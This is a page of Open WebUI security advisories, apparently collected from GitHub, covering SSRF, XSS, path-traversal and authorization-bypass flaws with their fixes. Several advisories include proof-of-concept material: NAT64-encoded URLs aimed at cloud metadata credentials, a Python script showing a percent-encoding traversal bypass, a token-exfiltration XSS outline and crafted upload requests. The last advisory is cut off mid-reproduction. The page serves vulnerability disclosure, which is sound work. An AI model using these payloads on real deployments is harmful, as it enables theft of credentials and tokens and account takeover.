Where
-Infinity
0

Vendor Risk Score

See how open webui compares to other vendors in security performance

View Risk Score →
Severity
6.3
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary Open WebUI vetted user-supplied URLs by resolving the hostname once and rejecting private, loopback and link-local addresses, then let the HTTP client resolve that hostname again at connect time. An attacker who controls the authoritative DNS for a hostname they submit can answer with a public address during the check and an internal one at connect, so the fetch reaches an address the check was meant to block. Every user-reachable fetch gated by that check was affected, and most of them hand the internal response back to the attacker.

Preconditions - An account on the instance. No admin rights and no non-default configuration. - Control of the authoritative DNS for a hostname the attacker submits, serving a TTL of 0 and alternating answers. - One of the affected entry points: URL ingest for retrieval, an imageurl in a chat completion, image editing, or the OAuth profile-picture fetch. - The OAuth path additionally needs OAuth login configured and a picture claim (OAUTHPICTURECLAIM, default picture) the user can influence, which is the case on self-service OIDC providers and providers with a user-editable avatar URL. On an existing account it also needs OAUTHUPDATEPICTUREONLOGIN, which is off by default. Deployments without OAuth are not affected on that path; the other paths need no configuration at all.

Impact The server can be made to issue requests to addresses only it can reach: cloud instance metadata such as 169.254.169.254, loopback-bound admin APIs, and internal network services. The response comes back to the attacker on most paths, as document content on the retrieval path, described by the vision model on the chat image path, and base64-encoded into the profile picture on the OAuth path; the image-edit path is blind. On the OAuth path the server also forwards the OAuth access token as a Bearer header to the fetched URL, so a rebind hands that token to the internal target. On a cloud host with IMDSv1 reachable this is enough to take instance IAM credentials.

Exploitation depends on winning the gap between the two resolutions, which the attacker influences but does not fully control. Admin-configured image-generation backends and the shared session pool are not affected and deliberately keep the default client, since an administrator may legitimately point those at an internal host.

Fix Fixed in v0.11.0 (#24759, #25775, #25960, #26699). The check now happens at the connection layer instead of ahead of it: a requests transport adapter resolves the hostname once and connects to that same validated address, and an aiohttp resolver applies the same global-IP check, exposed as a one-off session used by every fetch behind the URL check. Upgrading to v0.11.0 resolves this with no configuration change.

Root cause Affected components: - retrieval web loader (SafeWebBaseLoader) - retrieval content probe (getcontentfromurl) - chat image fetch (getimagebase64fromurl) - image edit fetch (loadurlimage) - OAuth profile-picture fetch (processpictureurl)

The URL check resolved the hostname and inspected the resulting IP, but nothing tied that decision to the connection that followed: the HTTP client resolved the name again on its own, and the second answer was never inspected. The check was therefore an opinion about a past lookup rather than a constraint on the actual connection, which is what a rebinding DNS server defeats. The first connection-layer guard covered only the retrieval loader, leaving the sibling probe, image and OAuth fetches on default clients until each was reported in turn.

Credits - @rezaduty — the rebinding time-of-check/time-of-use bypass and the retrieval loader path. - @nikchillz — the retrieval content-probe path. - @dhyabi2 — the chat imageurl path, where the internal response is read back through the vision model. - @geo-chen — the image-edit path. - @bogdancherniy11-sudo — the OAuth profile-picture path, where the rebind also discloses the forwarded OAuth access token.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
XSS
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary Any authenticated user with access to a terminal server could get script of their choosing to run in the Open WebUI origin itself. The HTML file preview rendered terminal-served files in an iframe whose sandbox always granted allow-same-origin alongside allow-scripts, and the file is served from a path on the application's own origin, so the sandbox provided no isolation at all. Script in a previewed file could read the victim's session token and take over the account.

Preconditions - At least one terminal server configured by an admin (TERMINALSERVERCONNECTIONS, empty by default) and reachable by the victim. Deployments with no terminal server configured are not affected. - The attacker needs a normal authenticated account with access to that terminal server, no admin rights. - No victim interaction beyond having the chat open: a displayfile tool call opens the preview automatically. - TERMINALPROXYHEADERS unset, which is the default. An operator who had already set a restrictive Content-Security-Policy through it was not exposed, since those headers are merged into every proxied response including the served file. - The iframeSandboxAllowSameOrigin user setting is off by default, but the affected branch ignored it entirely.

Impact The previewed document runs in the application origin, so it can reach the parent window, read the session token out of localStorage and exfiltrate it, which is full account takeover of the victim. If the victim is an admin, or any user holding workspace.functions, that takeover extends to server-side code execution through Functions. Getting the malicious file written and displayed still requires a prompt-injection or a social step, which is what keeps the complexity high rather than trivial. Instances with no terminal server configured were never affected, and neither was the srcdoc preview path.

Fix Fixed in 0.11.0 by 65a5fad7b (#26907). The serveUrl preview branch now gates allow-same-origin behind the same iframeSandboxAllowSameOrigin setting the srcdoc branch already used, so by default the preview loads at an opaque origin and cannot reach the parent context. Upgrading is sufficient, no configuration change is required, and HTML previews continue to render normally.

Root cause - src/lib/components/chat/FileNav/FilePreview.svelte, the serveUrl iframe branch, reached for HTML files served through /api/v1/terminals/{id}/files/serve/.... - Present from 0.9.0, where that branch was introduced, through 0.10.2.

The component grew two preview paths. The srcdoc path was hardened: same-origin became opt-in and a CSP was injected into the document. The serveUrl path, added later for files streamed from a terminal server, kept a static sandbox string with allow-same-origin baked into it. Because the terminal proxy is mounted under the application's own origin and forwards the upstream response without adding a Content-Security-Policy of its own unless the operator configured one, and no global CSP is set, the sandbox was the only isolation boundary left, and it was granting precisely the permission that dissolved it.

Proof of concept Write an HTML file containing a script that reads window.parent.localStorage.token to a terminal server the victim can reach, then trigger displayfile for that file. The chat handler opens the preview on the resulting terminal:displayfile event with no click, the script executes at the application origin, and the token is exfiltrated.

Credits Reported by @manus-use (researcher zx / Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

Open WebUI fetches user-supplied URLs on the server for RAG URL ingestion, URL-to-markdown conversion and web-search content retrieval, and decides whether a destination is allowed by asking whether its IP address is globally routable. That test operates on the literal IPv6 address and does not look at the IPv4 address embedded inside it. On a deployment whose network has a NAT64 gateway, any verified user can wrap an internal or cloud-metadata IPv4 address in the NAT64 well-known prefix, pass the filter, and receive the internal response body back through the API.

Preconditions

- Any verified (authenticated) user account. No admin role, no elevated permission. - Default configuration: ENABLELOCALWEBFETCH off, the default WEBFETCHFILTERLIST metadata blocklist in place. Neither prevents this, because the blocklist matches hostname strings and the NAT64 literal is not one of them. - The deployment's network must provide NAT64 translation for the well-known 64:ff9b::/96 prefix, which is the common default on IPv6-only and dual-stack cloud and Kubernetes networks. - Deployments on IPv4-only networks, or on any network without a NAT64 gateway, are not affected: the address has nowhere to route.

Impact

On an affected network a low-privilege user can read GET responses from services the server can reach but the internet cannot: cloud instance metadata including IAM role credentials, loopback-bound admin surfaces, and internal APIs in the same VPC or cluster. The response body is returned to the caller, so this is full-read, not blind. Exploitation is not universal, it depends entirely on the deployment's network providing NAT64 translation, which is why the score carries high attack complexity. Deployments without NAT64 lose nothing here.

Fix

Fixed in v0.11.0 by commit 1717b493d. Address classification now unwraps the IPv4 embedded in IPv6 transition encodings before deciding whether a destination is global, and applies that at all three checkpoints. NAT64-wrapped public destinations continue to work. Upgrading to v0.11.0 fully resolves the issue with no configuration change.

Root cause

- backend/openwebui/retrieval/web/utils.py — validateurl(), the pre-fetch check on the submitted URL. - backend/openwebui/retrieval/web/utils.py — ssrfsafenewconn() and SSRFSafeResolver, the connect-time re-checks that defeat DNS rebinding.

All three decided reachability from ipaddress.ipaddress(ip).isglobal applied to the literal address. That predicate answers whether an IPv6 address sits in globally-routable space, which is a different question from where the packet actually ends up once a transition gateway translates it. The NAT64 well-known prefix is by design a global prefix carrying an arbitrary IPv4 destination, so an internal target wrapped in it satisfies the check while reaching exactly what the check exists to prevent. Because the same predicate backed the connect-time re-checks, no later layer caught it either. The fix inspects every standardized transition encoding rather than only the NAT64 prefix, since the same reasoning error applies to each of them.

Proof of concept

Against the real POST /api/v1/retrieval/process/web flow on v0.10.2 as an authenticated user, with internal HTTP services returning a marker string. The plain forms are rejected with HTTP 400:

http://169.254.169.254/latest/meta-data/ -> 400 http://127.0.0.1/ -> 400 http://[::ffff:169.254.169.254]/ -> 400 http://metadata.google.internal/ -> 400

The NAT64 encodings of the same targets are accepted, and the response body is returned in the content field:

http://[64:ff9b::a9fe:a9fe]/latest/meta-data/iam/security-credentials/ -> 200, marker returned http://[64:ff9b::7f00:1]/admin/internal-status -> 200, marker returned

NAT64 translation was modelled by binding the translated addresses locally rather than by routing through a real NAT64 gateway; everything else, including the request flow and the validation code, is the unmodified v0.10.2 path. After the fix both URLs return 400 while http://[64:ff9b::808:808]/ (8.8.8.8, public) still returns 200, confirming no over-blocking.

Credits

- tonghuaroot — reported the transition-form gap in the address classification and supplied the fix approach.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
Input Validation
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.

First published (updated )
Severity
7.7
Path Traversal, SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

AI assistance was used to help inspect the code and prepare this report.

Summary

The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. backend/openwebui/routers/terminals.py documents sanitizeproxypath() as decoding until stable, but the implementation stops after 8 unquote() passes. A 9x percent-encoded ../... path parameter remains once-encoded after the loop, passes the posixpath.normpath() and cleaned.startswith('..') checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as /base/../admin/system.

Impact

A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policyid}/{safepath}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.

This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.

Reproduction

The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.

python import asyncio, posixpath from urllib.parse import unquote from aiohttp import web, ClientSession, ClientTimeout

def sanitize(path): decoded = path for in range(8): once = unquote(decoded) if once == decoded: break decoded = once cleaned = posixpath.normpath(decoded).lstrip('/') if cleaned.startswith('..') or cleaned == '.': return None return cleaned

def enc(s, rounds): out = ''.join(f'%{b:02X}' for b in s.encode()) for in range(rounds - 1): out = out.replace('%', '%25') return out

async def main(): async def handler(request): return web.jsonresponse({'rawpath': request.rawpath, 'path': request.path}) app = web.Application() app.router.addroute('', '/{tail:.}', handler) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, '127.0.0.1', 0) await site.start() port = site.server.sockets[0].getsockname()[1]

for rounds in (8, 9): safe = sanitize(enc('../admin/system', rounds)) print(rounds, safe) if safe: url = f'http://127.0.0.1:{port}/base/{safe}' async with ClientSession(timeout=ClientTimeout(total=10)) as session: async with session.get(url) as response: print(await response.json()) await runner.cleanup()

asyncio.run(main())

Observed output on current main and v0.9.6 sanitizer:

text 8 None 9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D {'rawpath': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}

The 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the {path:path} parameter: an external request can use one additional encoding layer so sanitizeproxypath() receives the 9x encoded parameter shown above.

Root Cause / Technical Details

sanitizeproxypath() in backend/openwebui/routers/terminals.py performs this loop:

python decoded = path for in range(8): once = unquote(decoded) if once == decoded: break decoded = once

The subsequent traversal check is applied only to the value after those 8 iterations. If the input still contains encoded dot and slash bytes after the loop, posixpath.normpath() treats them as ordinary characters rather than path separators. The code then builds targeturl = f'{baseurl}/{safepath}' and sends it with aiohttp.ClientSession.request(). The upstream server receives and decodes the forwarded path, turning the accepted %2E%2E%2F... into ../....

The same vulnerable sanitizer is present in v0.9.6, the latest release. I verified the v0.9.6 backend/openwebui/routers/terminals.py hash matches current main for this file.

Remediation

Do not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:

1. Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators. 2. Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with /. 3. Add regression tests for at least 9x and 10x encoded ../ payloads, including a route-level test that accounts for the ASGI server's initial path decode before the {path:path} parameter reaches sanitizeproxypath().

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

Summary

An authenticated non-admin user with read access to an arena wrapper model can reach a restricted underlying model through task endpoints such as /api/v1/tasks/moa/completions.

The normal chat route resolves arena models before the final chat dispatch and therefore re-checks the selected underlying model. The task routes call utils.chat.generatechatcompletion() directly. In that direct path, arena fallback resolution happens after the wrapper access check and then recurses with bypassfilter=True, skipping the selected submodel's access check.

Technical Details

Open WebUI's current model-access behavior already denies direct access to the restricted model. The normal chat path also denies the selected restricted model after arena preprocessing. The task endpoint path is inconsistent with that protected behavior because it reaches the same restricted model only through the direct arena fallback and recursive bypassfilter=True.

This report does not rely on malicious provider configuration, user-authored Tools/Functions, or direct code execution. The crossed boundary is model read authorization.

Although the arena wrapper must be readable by the user, this is not just an "admin exposed a restricted model" configuration claim. The same configured arena is denied by the normal chat post-preprocessor control once the selected restricted model is the dispatch target. The bypass is specific to task endpoints that skip that preprocessor and enter the fallback arena resolver.

Official documentation also points to this interpretation:

- Open WebUI documents model access control as restricting models to specific users or groups. - The workspace-model documentation treats "wrapper checked, restricted underlying model reached" as broken access control and recommends independent entries for curated deployments. - The evaluation documentation describes arena mode as an evaluation/comparison feature that randomly selects models to compare, not as a feature that grants access to otherwise restricted models. - This is not an unsafe-admin-action report: the same intended model access restriction is enforced on the direct model path and on the normal-chat selected-model control, then bypassed only through the task endpoint call order.

PoV

The attached local PoV does not start a server and does not contact any model provider. It imports the current Open WebUI task endpoint and replaces provider dispatch plus model-access checks with local stubs so the call graph can be observed safely.

Observed result:

| Case | Expected | Actual | | --- | --- | --- | | Direct task request with model=restricted-model | Denied before provider dispatch | Denied; no provider call recorded | | Normal-chat post-preprocessor control with model=restricted-model and metadata.selectedmodelid=restricted-model | Denied before provider dispatch | Denied; no provider call recorded | | Task request with model=public-arena that selects restricted-model | Denied when selected model is restricted | Local provider stub reached with model=restricted-model and bypassfilter=true |

In the arena task case, the restricted model is absent from the access-check log.

Impact

A regular user can use a readable arena wrapper as an oracle for a restricted model via task-generation endpoints. For /api/v1/tasks/moa/completions, the caller controls the task prompt and receives the generated response.

The crossed security boundary is model read authorization: a non-admin user who is denied direct access to a model can still cause Open WebUI to dispatch a request to that model with the operator-configured backend credentials.

This can allow:

- use of paid or internal models with the admin-configured provider key; - bypass of model access grants shown in the model selector; - cost and usage impact on pay-per-token providers; - exposure of model behavior or internal deployment capabilities that admins intended to restrict.

Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L = 7.6.

Primary CWE: CWE-862, Missing Authorization.

Authentication is required, so PR:L is used. User interaction is not required. The confidentiality impact is High because the attacker can query a model the administrator intended to restrict. Integrity and availability are Low because the request can consume provider quota and produce model output under an authorization decision the system would otherwise deny.

This should not be Critical: exploitation requires an authenticated user and a readable arena wrapper, does not cross into another security authority, and does not provide arbitrary code execution or full instance compromise.

Suggested Fix

Do not use bypassfilter=True for arena fallback dispatch unless the selected underlying model has already been authorized for the caller.

Recommended changes:

- after selecting selectedmodelid, load the selected model and call checkmodelaccess(user, selectedmodel) before recursive dispatch; - for filtermode=exclude or empty modelids, build the candidate pool from models the current user can read, not every non-arena model in request.app.state.MODELS; - add regression tests for /api/v1/tasks/moa/completions, /api/v1/tasks/title/completions, /api/v1/tasks/tags/completions, and normal /api/chat/completions arena behavior.

Appendix: Affected Components

- backend/openwebui/routers/tasks.py - /api/v1/tasks/moa/completions builds a payload from caller-controlled model, prompt, and responses, then calls generatechatcompletion(request, formdata=payload, user=user). - backend/openwebui/utils/chat.py - checks access for the user-supplied arena wrapper model. - fallback arena resolution selects an underlying model when the caller did not pass through processchatpayload(). - recursive dispatch uses bypassfilter=True. - backend/openwebui/utils/models.py - arena wrapper access checks only wrapper accessgrants.

Current-head references:

- backend/openwebui/routers/tasks.py:662-707 - backend/openwebui/utils/chat.py:190-204 - backend/openwebui/utils/chat.py:215-240 - backend/openwebui/utils/chat.py:248-269 - backend/openwebui/utils/middleware.py:2323-2347 - backend/openwebui/utils/models.py:378-407

Appendix: Duplicate Analysis

This is distinct from GHSA-9vvh-qmjx-p4q8 / CVE-2026-44555, which covers basemodelid chaining and user-created workspace models. Current head includes the base-model-chain access fix through hasbasemodelaccess.

This report covers task endpoints that call generatechatcompletion() without the main chat preprocessor. The root cause is arena fallback plus recursive bypassfilter=True, not basemodelid.

Live duplicate sweep before submission also reviewed:

- GHSA-v6qf-75pr-p96m: exposed HTTP query parameter ?bypassfilter=true. This report does not rely on caller-controlled query parameters; the task endpoint reaches the server-side recursive bypassfilter=True path after arena fallback resolution. - GHSA-hp5m-24vp-vq2q: /api/openai/responses passthrough missing model authorization. This report targets /api/v1/tasks/moa/completions and the arena resolver inside utils.chat.generatechatcompletion(). - GHSA-gfm2-xm6c-37qc: chat ownership authorization in completions. This report does not require another user's chat ID.

If maintainers prefer to treat this as the same broad "wrapper checked, underlying model not checked" class, it should still be a distinct exploitation vector and affected component: task endpoints, not model creation/import or basemodelid dispatch.

Appendix: Preconditions

- Authenticated non-admin user. - The user can read an arena wrapper model, for example a custom arena with a public read grant. - The arena model includes at least one restricted underlying model that the user cannot query directly.

1 / 2
Source: GitHub
First published (updated )
Severity
8
SSRF
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Summary

The terminal proxy in backend/openwebui/routers/terminals.py forwards the Open WebUI user's identity to the upstream terminal server / backend coordinator as an authorization claim, with no cryptographic binding to the session that produced it. The forwarded identity is attacker-influenceable on both proxy paths:

1. HTTP path (proxyterminal) sets headers['X-User-Id'] = user.id. Upstreams that trust X-User-Id as identity receive it unsigned, so an attacker who can reach the upstream by other means (directly, a compromised peer, SSRF) can spoof it. 2. WebSocket path (wsterminal) is exploitable through Open WebUI itself, with no "other means" required. It interpolates the path parameter sessionid directly into the upstream URL and then appends ?userid=<caller>:

python upstreamurl = f'{wsbase}/p/{policyid}/api/terminals/{sessionid}' upstreamurl += f'?{urllib.parse.urlencode({"userid": user.id})}'

sessionid is neither validated nor URL-encoded (the HTTP sibling runs sanitizeproxypath; this path runs nothing). An encoded ?/& smuggled through sessionid survives Open WebUI's single decode and is re-decoded by the upstream, injecting an attacker-chosen userid ahead of the appended one. Query parsing binds the first occurrence, so the backend coordinator resolves the spoofed user's terminal scope.

Technical Details

The forwarded terminal identity is a bearer-style authorization claim with no integrity binding, and on the WebSocket path it is additionally injectable because sessionid is concatenated into the URL without encoding or delimiter validation.

Impact

A normal authenticated user can make the terminal proxy present another user's identity to the upstream backend coordinator. On backend coordinator-backed (policyid) servers that scope terminal containers by userid, this reaches another user's terminal scope; combined with a known active session ID (for example a chat-scoped session ID surfaced through a shared chat), it allows attaching to that user's live PTY. The HTTP-path variant additionally allows identity spoofing at the upstream tier for any deployment whose upstream trusts X-User-Id.

Appendix: Affected code

- backend/openwebui/routers/terminals.py — proxyterminal sets headers['X-User-Id'] = user.id with no signature. - backend/openwebui/routers/terminals.py — wsterminal builds the upstream URL from an unvalidated, unencoded sessionid and appends userid as a query parameter, allowing query injection.

Appendix: Consolidation

Per the Report Handling policy, this consolidates independent reports of the same root cause (the forwarded terminal identity is spoofable / not integrity-bound) into the earliest filing:

- @smoke-wolf (earliest filing) — the X-User-Id HTTP-path identity is forwarded without integrity binding, spoofable where the upstream trusts the header. - @rexpository — the wsterminal sessionid query-injection vector, proving the forwarded userid is spoofable through the Open WebUI proxy itself, with no "reach the upstream by other means" precondition.

Appendix: Recommended fix

- Validate and URL-encode sessionid before building the upstream URL (urllib.parse.quote(sessionid, safe=""); reject ?, #, &, /, %, backslash, control characters). Build the query string with a URL builder so attacker-controlled path content cannot precede it. - Bind the forwarded identity instead of passing a raw userid / X-User-Id: emit a short-lived signed claim (for example HS256 over {uid, iat, aud:serverid} with a key shared only with the specific upstream) and verify it upstream.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

Current main and v0.9.6 still allow an authenticated user to turn read-only access to another user's file into write/delete access by attaching that file ID to an attacker-controlled workspace model.

This is an incomplete-fix variant of GHSA-vjqm-6gcc-62cr. The current fix adds verifyknowledgefileaccess(), but the validator only checks hasaccesstofile(fileid, "read", user). The file write/delete routes later trust hasaccesstofile(fileid, "write", user), and that function grants access through any writable model whose meta.knowledge contains the file ID.

The PoV includes a negative control showing the current validator rejects an inaccessible arbitrary file ID. The residual issue is narrower: a file ID that is readable only through a KB read grant is accepted into direct model file metadata, then the same model metadata satisfies later file write/delete checks.

Technical Details

backend/openwebui/routers/models.py::verifyknowledgefileaccess() accepts model meta.knowledge file entries when the caller can read the file:

python if not await hasaccesstofile(fileid, 'read', user, db=db): raise HTTPException(...)

backend/openwebui/utils/accesscontrol/files.py::hasaccesstofile() then uses attacker-writable model metadata as a source for any requested access type:

python for model in await Models.getmodelsbyuserid(user.id, permission=accesstype, db=db): knowledgeitems = getattr(model.meta, 'knowledge', None) or [] for item in knowledgeitems: if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id: return True

For accesstype="write", the attacker-owned model satisfies the model query, so the victim file becomes writable even though the attacker only had read access through the KB grant.

This crosses another user's integrity and availability boundary, not just the attacker's own account. Before model metadata is involved, the attacker can read the file through a KB grant but cannot write it. After the model metadata entry is accepted, the same file becomes writable/deletable.

The official docs distinguish attached knowledge permissions: knowledge-base collections may use explicit read grants, while individual files are owner/admin-only. This issue lets a read grant to a KB become direct write/delete authority over an individual file.

This is also consistent with the documented RBAC model: resource grants have separate read and write permissions, where write means the user can update or delete the resource. The exploit starts from a read-only KB grant and reaches file write/delete without a corresponding file owner/admin/write authorization.

The required Models workspace access is not root-equivalent in Open WebUI's documentation. The policy's root-equivalent warning applies to Tools/Functions code execution. This report does not use Tools/Functions, custom Python, admin actions, or a legacy-only path.

Impact

An authenticated non-admin user with Models workspace access and read-only access to a victim file through a knowledge-base grant can create/import/update a model that references the file, then rename, overwrite, or delete the victim user's file through write-gated file routes.

Confirmed sinks in current head:

- POST /api/v1/files/{id}/rename - POST /api/v1/files/{id}/data/content/update - DELETE /api/v1/files/{id}

Suggested severity: High.

Suggested CVSS:

text CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Suggested CWE:

text CWE-863: Incorrect Authorization

I am not claiming Critical severity because the attacker must be authenticated, must have Models workspace access, and must already have read-only access to the victim file through a KB grant. The High score is based on the post-condition: that limited read access becomes destructive cross-user file write/delete.

Appendix: AI Disclosure

Appendix: Local PoV

The PoV is local-only. It does not start a server, send network traffic, or use a real database. It loads and executes the current-head function bodies for:

- hasaccesstofile() - verifyknowledgefileaccess() - deletefilebyid()

Run from the harness root:

bash uv run python attached-evidence/poc/povopenwebuimodelfilereadtowrite.py

Observed output:

json { "confirmed": true, "controlinaccessiblefilerejectedbyvalidator": true, "controlreadallowedviakbreadgrant": true, "controlwriteallowedbeforemodellaundering": false, "modelmetadatavalidatorpassedwithreadonlyaccess": true, "writeallowedafterattackerownedmodelcontainsfile": true, "deleterouteresult": { "message": "File deleted successfully" }, "deletedfileids": [ "victim-file" ] }

This demonstrates expected versus actual behavior:

- Expected: a user with only read access through a KB grant cannot mutate the victim file. - Actual: after the read-only file ID is accepted into attacker-owned model metadata, the same user satisfies the file write/delete guard and deletes the victim file.

Appendix: Remediation

Recommended defense-in-depth fix:

1. In verifyknowledgefileaccess(), require direct file ownership or admin for type: "file" model knowledge entries. Do not accept indirect KB read access as sufficient authority to attach an individual file to a model. 2. In hasaccesstofile(), do not let the model meta.knowledge branch grant write access to files. Model-attached knowledge should be read-only unless the caller separately owns/administers the underlying file or has an explicit write-capable file authorization path. 3. Add regression tests covering the KB-read control, the blocked model attach, and rename/update/delete denial for the victim file.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

The administrator-configured WEBFETCHFILTERLIST (the allow/block list applied to server-side web fetches: RAG URL ingestion, URL-to-markdown, web-search content fetch) matches hostnames incorrectly, so the filter can be bypassed.

Details

isstringallowed (backend/openwebui/utils/misc.py) matches with str.endswith(...), and the primary web-fetch call site (backend/openwebui/retrieval/web/utils.py) called it with the full URL string, not the hostname:

- Blocklist bypass via path. A blocklist entry !internal.example.com only matches a URL that ends with that string. Any URL with a path (https://internal.example.com/x) ends with /x, so the entry never matches and the fetch proceeds. The blocklist effectively only stopped path-less URLs. - Allowlist false-reject and bypass. An allowlist company.com rejected the legitimate https://api.company.com/status and admitted https://attacker.example/path/company.com. - Non-label-boundary matching at the hostname-shaped call site (retrieval/web/main.py): endswith('corp.com') also matched evilcorp.com, and 10.0.0.1 matched 110.0.0.1.

Impact

An authenticated user able to trigger a server-side web fetch can reach hosts the administrator intended to block with WEBFETCHFILTERLIST.

Open WebUI's primary SSRF protection is a separate, always-on guard that rejects any URL resolving to a non-global IP (validateurl and the connection-layer ssrfsafenewconn, active whenever ENABLERAGLOCALWEBFETCH is off, the default). That guard is unaffected by this issue and continues to block loopback, RFC1918 and link-local addresses, including the 169.254.169.254 cloud-metadata endpoint. This bypass therefore does not grant access to those internal targets. What it defeats is the administrator's ability to block specific publicly-resolvable hosts (internal services reachable from the server over a public IP, e.g. split-horizon DNS or internal PaaS endpoints) and to enforce an allowlist. Fetched content is returned to the requester, so for hosts reachable from the server's network position this is a read/content-disclosure SSRF against the admin-blocked host.

Patch

Matching is now performed on the parsed hostname using DNS label boundaries. A dedicated ishostallowed(host, ...) matches an entry only when host and entry are equal or the entry is a parent domain (host == entry or host.endswith('.' + entry)), so corp.com matches api.corp.com but not evilcorp.com, and IP entries match only the identical address. Both web-fetch call sites pass the parsed hostname rather than the full URL. The generic isstringallowed is retained unchanged for unrelated non-host filters.

Credit

Reported by @addcontent.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Open WebUI upload metadata can add files to knowledge bases without write permission

Summary

Open WebUI's file upload background processing trusts the client-supplied metadata.knowledgeid value and inserts a knowledgefile association before validating that the uploading user has write access to the target knowledge base.

A verified user with only read access to a knowledge base can upload an arbitrary file and set metadata={"knowledgeid":"<target knowledge id>"}. The normal /api/v1/knowledge/{id}/file/add endpoint correctly requires knowledge-base write access, but the upload auto-link path bypasses that authorization check.

The immediate result is unauthorized modification of the target knowledge base's file membership. The attached attacker-controlled file becomes visible through /api/v1/knowledge/{id}/files, and readers/owners of that knowledge base can retrieve the file through the normal file endpoints because file access is derived from KnowledgeFile membership.

Affected Version

- Repository: open-webui/open-webui - Tested source commit: 02dc3e689ceac915a870b373318b99c029ddf603 - Package version observed in package.json: 0.9.6 - Package name: open-webui

Impact

A read-only knowledge-base collaborator can perform a write operation against that knowledge base by attaching arbitrary uploaded files.

Security impact:

- Unauthorized knowledge-base membership modification. - Integrity impact on shared knowledge-base file listings. - Attacker-controlled files become readable to other users who can read the target knowledge base. - If an owner/admin later reprocesses or globally reindexes the knowledge base, the unauthorized file can be indexed into the knowledge collection, turning the membership bypass into RAG/content poisoning.

This is not an unauthenticated issue. It requires a verified Open WebUI account and a valid target knowledge-base ID. The clearest exploit path is a user who legitimately has read access to a knowledge base but not write access.

Source Evidence

The normal single-file knowledge add endpoint checks write permission before processing or inserting the relationship:

- backend/openwebui/routers/knowledge.py - addfiletoknowledgebyid - Lines 714-728 reject callers who are not owner, admin, or granted write access. - Lines 750-766 then process and insert the file only after that authorization gate.

The upload auto-link path does not perform the same check:

- backend/openwebui/routers/files.py - processuploadedfile - Lines 178-186 read knowledgeid from upload metadata and immediately call Knowledges.addfiletoknowledgebyid(...). - Lines 187-192 call processfile(... collectionname=knowledgeid ...) after the insert.

The model method inserts the relationship without validating the caller's write access to the knowledge base:

- backend/openwebui/models/knowledge.py - addfiletoknowledgebyid - Lines 646-677 create and commit a KnowledgeFile row for the supplied knowledgeid, fileid, and userid.

The later vector write check exists, but it runs too late:

- backend/openwebui/routers/retrieval.py - processfile - Lines 1587-1592 call validatecollectionaccess(..., accesstype='write') when a collection is supplied.

Because the unauthorized KnowledgeFile row is already committed before that check runs, the failed vector processing does not undo the knowledge-base file association. The upload code catches the exception at backend/openwebui/routers/files.py lines 194-195 and logs a warning while leaving the row in place.

The unauthorized relationship affects file access decisions:

- backend/openwebui/utils/accesscontrol/files.py - hasaccesstofile - Lines 41-53 grant file access when a file is associated with a knowledge base the user can access.

So once the attacker's file is inserted into the target KnowledgeFile table, target knowledge-base readers/owners can see and fetch that file through normal knowledge/file routes.

Reproduction Steps

Use a local Open WebUI instance with two verified users:

1. As user owner, create a knowledge base. 2. Grant user reader read access to the knowledge base, but do not grant write access. 3. As reader, confirm the normal add-file endpoint is blocked:

http POST /api/v1/knowledge/<knowledgeid>/file/add Authorization: Bearer <reader token> Content-Type: application/json

{"fileid":"<reader-owned-file-id>"}

Expected and observed behavior for the normal route: it rejects the request because reader lacks knowledge-base write access.

4. As reader, upload a new file with the same target knowledge ID embedded in upload metadata:

http POST /api/v1/files/?process=true&processinbackground=false Authorization: Bearer <reader token> Content-Type: multipart/form-data

file=@attacker-note.txt metadata={"knowledgeid":"<knowledgeid>"}

5. Observe that the upload request succeeds and returns the uploaded file record. 6. As owner, request the knowledge-base files:

